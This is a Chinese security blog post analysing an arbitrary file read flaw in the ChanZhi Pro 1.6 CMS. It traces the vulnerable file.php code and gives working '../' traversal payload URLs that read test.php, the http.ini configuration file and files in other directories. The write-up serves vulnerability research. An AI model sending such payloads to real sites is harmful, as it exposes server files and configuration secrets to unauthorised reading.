F0rmat

禅知Pro 1.6 前台任意文件读取分析

2018-08-19

0x01 前言

这两天看到禅知这个CMS有一个前台的任意文件读取漏洞,就在此写一片分析文章。

0x02 环境

  1. 下载安装安装程序,这个CMS是封装起来的,连着Apache+MySQL一起打包成exe可执行程序。
  2. 安装也比较简单,傻瓜式安装。

0x03 漏洞复现

  1. 在网站根目录C:\xampp\chanzhi\www新建一个测试文件test.php
  2. 执行payload查看文件内容:http://localhost/file.php?pathname=../test.phpi&t=txt&o=source
  3. 执行payload来查看程序的配置文件:http://localhost/file.php?pathname=../http.ini&t=txt&o=source
  4. 跨目录读取文件(前提是有目录权限):http://localhost/file.php?pathname=../../bin/php/backup.php&t=txt&o=source

0x04 漏洞分析

漏洞文件:C:\xampp\chanzhi\www\file.php,从头开始往下分析:

  1. 1-19行是定义变量和判断是否GET传值过来,传全称或者简称都可以赋值给对应的变量,比如:http://192.168.86.130/file.php?f=../test.php&t=txt&o=source,pathnamef是对应的,下面的以此类推。
    主要是19行,$_SERVER['SCRIPT_FILENAME']的值是C:/xampp/chanzhi/www/file.php,加上dirname函数后的值为C:/xampp/chanzhi/www
    rtrim函数是去掉/右边的值然后加上/data/之后$dataRoot的值为C:/xampp/chanzhi/www/data/
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
$pathname = '';
$objectType = '';
$imageSize = '';
$extension = '';
$version = '';

if(isset($_GET['pathname'])) $pathname = $_GET['pathname'];
if(isset($_GET['objectType'])) $objectType = $_GET['objectType'];
if(isset($_GET['imageSize'])) $imageSize = $_GET['imageSize'];
if(isset($_GET['extension'])) $extension = $_GET['extension'];

if(isset($_GET['f'])) $pathname = $_GET['f'];
if(isset($_GET['o'])) $objectType = $_GET['o'];
if(isset($_GET['s'])) $imageSize = $_GET['s'];
if(isset($_GET['t'])) $extension = $_GET['t'];
if(isset($_GET['v'])) $version = $_GET['v'];

$dataRoot = rtrim(dirname($_SERVER['SCRIPT_FILENAME']), '/') . '/data/';
  1. 判断$objectType变量的值,如果传入的值不是sourceslide,那么进入else的代码段,但是会加上upload目录就不能实现任意文件读取了,所以传入source是最合适的。
    $dataRoot赋值给$savePath然后和$pathname拼接起来赋值给$realPath变量
1
2
3
4
5
6
7
8
9
10
11
12
if($objectType == 'source' or $objectType == 'slide')
{
if($objectType == 'slide' and !preg_match('/^slides\/[0-9_0-9]/', $pathname)) die('The file does not exist!');
$savePath = $dataRoot;
}
else
{
if(!preg_match('/^[0-9]{6}\/f_[a-z0-9]{32}/', $pathname)) die('The file does not exist!');
$savePath = $dataRoot . 'upload/';
}

$realPath = $savePath . $pathname;
  1. 开头判断$realPath文件是否存在,接下来把$realPath赋值给$filePath$mime = getMimetype($extension);这一句是根据参数t或者extension传过来的值决定Content-Type的可用值。
    getMimetype函数可以到123行查看,比如我们传过来的值$_GET['t']=txt,那么就会对应的Content-Type是:

header("Content-type: $mime");是定义HTTP头Content-type内容,$handle = fopen($filePath, "r");读取$filePath的文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
if(!file_exists($realPath))
{
$realPath = $savePath . (strpos($pathname, '.') === false ? $pathname : substr($pathname, 0, strpos($pathname, '.')));
}
$filePath = $realPath;
if($imageSize == 'smallURL') $filePath = str_replace('f_', 's_', $realPath);
if($imageSize == 'middleURL') $filePath = str_replace('f_', 'm_', $realPath);
if($imageSize == 'largeURL') $filePath = str_replace('f_', 'l_', $realPath);

if(!file_exists($filePath)) $filePath = $realPath;

if(!file_exists($filePath)) die('The file does not exist!');

$seconds = 3600 * 24 * 30;
$expires = gmdate("D, d M Y H:i:s", time() + $seconds) . " GMT";
header("Expires: $expires");
header("Pragma: cache");
header("Cache-Control: max-age=$seconds");

$mime = getMimetype($extension);
header("Content-type: $mime");

$handle = fopen($filePath, "r");

  1. 还没结束,触发是靠while(!feof($handle)) echo fgets($handle);这一句,如果没有这一句就不会构成任意文件读取,所以每一步都很关键。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    if($handle)
    {
    if($mime == 'video/mp4')
    {
    $length = filesize($filePath);
    $start = 0;
    $end = $length - 1;

    header("Accept-Ranges: 0-$length");
    if(isset($_SERVER['HTTP_RANGE']))
    {
    $cStart = $start;
    $cEnd = $end;

    list(, $range) = explode('=', $_SERVER['HTTP_RANGE'], 2);
    if(strpos($range, ',') !== false)
    {
    header('HTTP/1.1 416 Requested Range Not Satisfiable');
    header("Content-Range: bytes $start-$end/$length");
    exit;
    }
    if($range == '-')
    {
    $cStart = $length - substr($range, 1);
    }
    else
    {
    $range = explode('-', $range);
    $cStart = $range[0];
    $cEnd = (isset($range[1]) && is_numeric($range[1])) ? $range[1] : $length;
    }

    $cEnd = ($cEnd > $end) ? $end : $cEnd;
    if ($cStart > $cEnd || $cStart > $length - 1 || $cEnd >= $length)
    {
    header('HTTP/1.1 416 Requested Range Not Satisfiable');
    header("Content-Range: bytes $start-$end/$length");
    exit;
    }

    $start = $cStart;
    $end = $cEnd;
    $length = $end - $start + 1;
    fseek($handle, $start);
    header('HTTP/1.1 206 Partial Content');
    }
    header("Content-Range: bytes $start-$end/$length");
    header("Content-Length: " . $length);

    $buffer = 1024 * 8;
    while(!feof($handle) && ($p = ftell($handle)) <= $end)
    {
    if($p + $buffer > $end) $buffer = $end - $p + 1;
    set_time_limit(0);
    echo fread($handle, $buffer);
    flush();
    }

    fclose($handle);
    exit;
    }
    else
    {
    while(!feof($handle)) echo fgets($handle);
    fclose($handle);
    }
    }
  2. 那么到这里就开始构思怎么样去构造Payload:

  • o参数必须为source
  • t参数必须对应的Content-type的值为text/plain
  • f参数文件的相对路径

那么我们最终的Payload为:
http://192.168.86.130/file.php?f=../test.php&t=txt&o=source
或者
http://192.168.86.130/file.php?pathname=../test.php&extension=txt&objectType=source

0x05 参考

https://www.cnblogs.com/52fhy/p/5436673.html
http://www.lsafe.org/?p=262